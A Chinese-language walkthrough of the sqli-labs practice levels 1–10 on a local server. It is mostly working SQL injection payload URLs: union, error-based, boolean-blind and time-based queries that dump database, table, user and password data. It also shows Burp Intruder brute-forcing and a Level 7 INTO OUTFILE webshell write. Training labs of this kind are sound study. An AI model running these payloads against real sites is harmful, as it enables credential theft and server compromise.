注意:
如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。
另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。
要学会利用报错信息来判断注入类型!!!
1、先测试and 1=2,回显正常,说明不是数值型注入
2、接着在id=1后添加’,发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
从报错内容中可以看出id传入的是str类型,可以分解成这样来看:
传递了一个1’的参数,并且1’的参数用单引号包裹,最后再最外层一层单引号
’ ’ 1’ ’ LIMIT 0,1 ’
3、输入–+将后面的语句注释掉,发现回显正常,说明此处是单引号字符型注入
4、接着使用order by语句判断该表中一共有多少列数据,order by 3回显正常,order by 4回显不正常,说明存在3列数据
5、将id改为数据库不存在的id值,如负数或0,再用union select 1,2,3联合查询语句查看显示位。输出了2与3,这里可以看出有两个显示位
6、利用2、3显示位,爆出当前数据库的表名
7、接着爆出users的所有列名
8、最后查询username、password这两字段的数据,成功爆破
1、输入id=1? and 1=2 --+回显信息发生变化,无错误信息,说明是数值型注入
也可以输入?id=1’根据错误信息来判断(推荐这种方式),报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
发现多出来一个单引号,说明是数值型。把单引号删掉,改为?id=-1 union…按照之前的操作就行了
2、order by 3显示正常,order by 4显示不正常,所以该表有3列数据
3、接着可以仿造less-1,使用联合查询进行注入
1、向页面输入?id=1’ ,报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
发现有括号闭合,那就变成
http://10.2.10.31/sqli/Less-3/?id=1’)
报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’) LIMIT 0,1’ at line 1
这时候就显示多了’),说明是(’’)这种方式闭合字符串的
2、接着使用order by 判断表中有多少列数据
3、接着使用联合查询,union select 1,2,3判断页面有多少个显示位,方法与less-1一样,在此不再赘述
与第三关类似,第四关使用("")方式闭合字符串,然后可以优先使用联合查询注入
1、当输入?id=1’,发现没有报错。改用?id=1",报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
猜测是("")这种方式闭合字符串的
2、当输入?id=1") --+时回显正常,说明猜测正确
3、剩下的查询方式与前面关卡的联合查询方式一样
1、经测试发现,输入?id=1时显示正常,但没显示位
2、继续扩大id值,输入?id=100,页面仍没显示位。页面没有显示位,所以无法使用联合查询
3、输入?id=1’页面出现错误信息
页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
在这里插一篇关于mysql的double injection解读的文章,里面有下面三个报错语句的讲解,讲得非常详细到位,可以参考:
https://blog.csdn.net/wn314/article/details/89297560
首先介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
4、在这里我们采用floor报错语句进行注入,因为字符长度限制最长。
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出。
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
接着我们运用如下语句:
http://localhost/sqli-labs/Less-5/?id=2’ and (select 1 from (*select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)2))x from information_schema.tables group by x)a) --+
输出如下:
需要注意的是, 此时数据库名并不是 information_schema1
这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)
为了防止某些时候,我们误以为这个1也是我们查询结果的一部分,我建议大家使用一个;与它分开,用concat(schema_name,’;’)语句可实现。语句如下:
?id=2’ and (select 1 from (select count(*),concat(((select concat(schema_name,’;’) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
5、下面我们更改我们的payload,一个个的查询我们要找的数据。更改limit 4,1就找到了scurity库
6、接下来仿照前面关卡,改变查询语句,一个个的查表,当limit 4,1时查到users表:
http://localhost/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(table_name,’;’) from information_schema.tables where table_schema = database() limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
7、查出users里面的列字段
http://localhost/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(column_name,’;’) from information_schema.columns where table_schema = database() and table_name = ‘users’ limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
8、查出username、password
http://localhost/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(*),concat(((select concat(username,’-’,password,’-’) from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
1、这里是盲注,需要我们一个一个的猜字符,先构造注入语句
http://localhost/sqli-labs/Less-5/?id=1’ and ascii(substr(database(),1,1)) > 10 --+
函数不懂的话用搜索引擎查询,这里的原理就是获取当前数据库的第一个字符,由于我们之前试了好多次,直接用s来试以节约时间
http://localhost/sqli-labs/Less-5/?id=1’ and substr(database(),1,1) = ‘s’ --+
发现页面回显正常,换一个字符就没回显了,说明s是第一个字符,以此类推来获取整个数据库名。
再之后可以查询数据库中表的名称,方法也是一样,我贴一条
http://localhost/sqli-labs/Less-5/?id=1’ and substr((select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1),1,1) = ‘e’ --+
这样推,就可以把这题做出来。
当然,这样是最慢的方法,但是还是要掌握的。
这里直接介绍用bp的爆破模块进行破解:
1、首先抓取我们需要的包
假设我们要查数据库名:
http://localhost/sqli-labs/Less-5/?id=1’ and substr(database(),1,1) = ‘a’ --+
2、发送到Intrude,点击清除,然后选中要爆破的字符,例如这里选择a
3、在有效载荷中,设置一下字典,选择“蛮力”,设置最短最长值都为1
4、最后设置一下线程为300,加快速度
5、点击开始攻击,爆破出第一个字符s,改变substr()第二个参数为2,即改变匹配位置为第二个字符,以此类推进行爆破,获取数据库名。剩下工作以此类推,通关:
与less-5类似,这关使用的是""的方式闭合字符串,我们只需改为?id=1"即可,其余过程与前面类似,不再赘述。
前提注意点:
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的文件
into outfile命令使用的环境:
我们必须要知道服务器上一个可以写入文件的文件夹的完整路径
1、输入?id=1回显正常:
2、输入?id=1 and 1=2回显正常,说明不是数值型注入:
3、输入?id=1’ 页面报错,说明可能存在’注入:
4、输入?id=1’ --+页面显示依然不正常,继续输入?id=1’) --+页面仍然不正常,尝试输入?id=1’)) --+发现页面显示正常:
5、由于本关卡是使用file权限向服务区写入文件,我们就尝试上传一句话文件给服务器,最后通过蚁剑来连接:
因为我们还不知道数据库的路径,可以借助第一关来获取数据库的绝对路径:
@@datadir 读取数据库路径
@@basedir 获取安装路径
http://localhost/sqli-labs/Less-1/?id=-1’ union select 1,2,@@basedir --+
这样我们就可以知道网站应该是在D:/phpStudy2016/WWW/下,构造语句如下(包含一句话木马):
http://localhost/sqli-labs/Less-7/?id=-1’)) union select 1,’’,3 into outfile ‘D://phpStudy//WWW//1234.php’ --+
页面回显错误,不过不用理会,可以查看一下本机相应文件夹,发现增加了1234.php,且访问http://localhost/1234.php,得到如下:
在这里特别注意:
遇到写入不了没生成文件的情况应该是mysq没有设置好,可以在mysql的命令行查看一下secure-file-priv当前的值
show variables like ‘%secure%’;
如果为Null,这则需要打开mysql下的my.ini文件,在其中添加上 secure_file_priv=”/”
6、通过蚁剑连接,获取服务器,通关:
1、测试注入点,无回显
http://localhost/sqli-labs/Less-8/?id=1’
2、再测,有回显,说明注入成功
http://localhost/sqli-labs/Less-8/?id=1’ --+
3、这样我们想到了用布尔盲注,首先判断是否存在布尔类型的状态
此时有回显
此时无回显,因此判断可以进行布尔盲注。
首先判断数据库名的长度,使用length()函数。
经过多次尝试可得数据库名的长度为8
接下来通过,substr函数来判断数据库名的每一位分别是什么,通过变化ascii(substr(database(),x,1))中x的值我们可以确定每一位的具体值。
最终我们可以确定数据库的全名是security,接下来我们判断表名。
语法:left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)通过变换x和y的值我们可以得到所有的表名。
接下来判断所有的users中的字段名
语法:?id=1%27 and left((select column_name from information_schema.columns where table_schema=database() and table_name=“users” limit x,1),y)="" --+通过变换x,y的值可以得到username和password这两个字段名
接下来就是爆数据了
用户名:?id=1%27 and left((select username from users limit x,1),y)="" --+通过变换x,y的值可以得到所有的用户名
密码:?id=1%27 and left((select password from users limit x,1),y)="" --+通过变换x,y的值可以得到所有的密码
布尔盲注就是很麻烦需要手动去一个一个尝试,这时还不如直接sqlmap来的迅速美丽。
这里我们尝试使用单引号、双引号闭合、数值型注入,都发现回显正常,说明关卡将我们的单双引号、数值给推移了。
这时候要使出最后的杀手锏了,利用延时注入,先判断能否延时注入:
http://localhost/sqli-labs/Less-9/?id=1’ and sleep(5) --+
等待了7s多,说明存在延时注入:
这里的原理是,利用sleep函数判断是否执行了我们的sql语句,发现回显正常,说明执行了。
然后还是按照之前的方法继续盲注:
1、首先通过延时注入得到数据库名,先判断数据库名的长度。
语法:?id=1’ and if(leng(database())=x,sleep(5),1) --+
通过变换x的值来确定数据库名的长度
可知数据库名的长度为8
2、接下来判断数据库的名字:
语法:?id=1’ and if(ascii(substr(database(),x,1))=y,sleep(5),1) --+
通过变换x、y的值来确定数据库的名字。
经过多次尝试,可知数据库的名字为security。
3、接下来,判断数据库security中的表名信息,首先判断第一个表名的长度: 同理确定所有表名的长度。 4、再接着判断表的名字: 语法:if(left((select table_name from information_schema.tables where table_schema = database() limit x,1),y)=“m”,sleep(5),1) 通过变换x、y、字符m,可以得到所有的表名。 5、经过多次尝试,得到表名users,接下来判断字段名与数据内容,还是和上面一样的套路,判断长度,判断名字,这里就不再赘述了。 总结:延时注入与布尔注入都很麻烦,需要一次一次的尝试,需要耐心。 第十关就是把单引号换成了双引号,其他都一样,通关。
语法:?id=1’ and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)
Less-10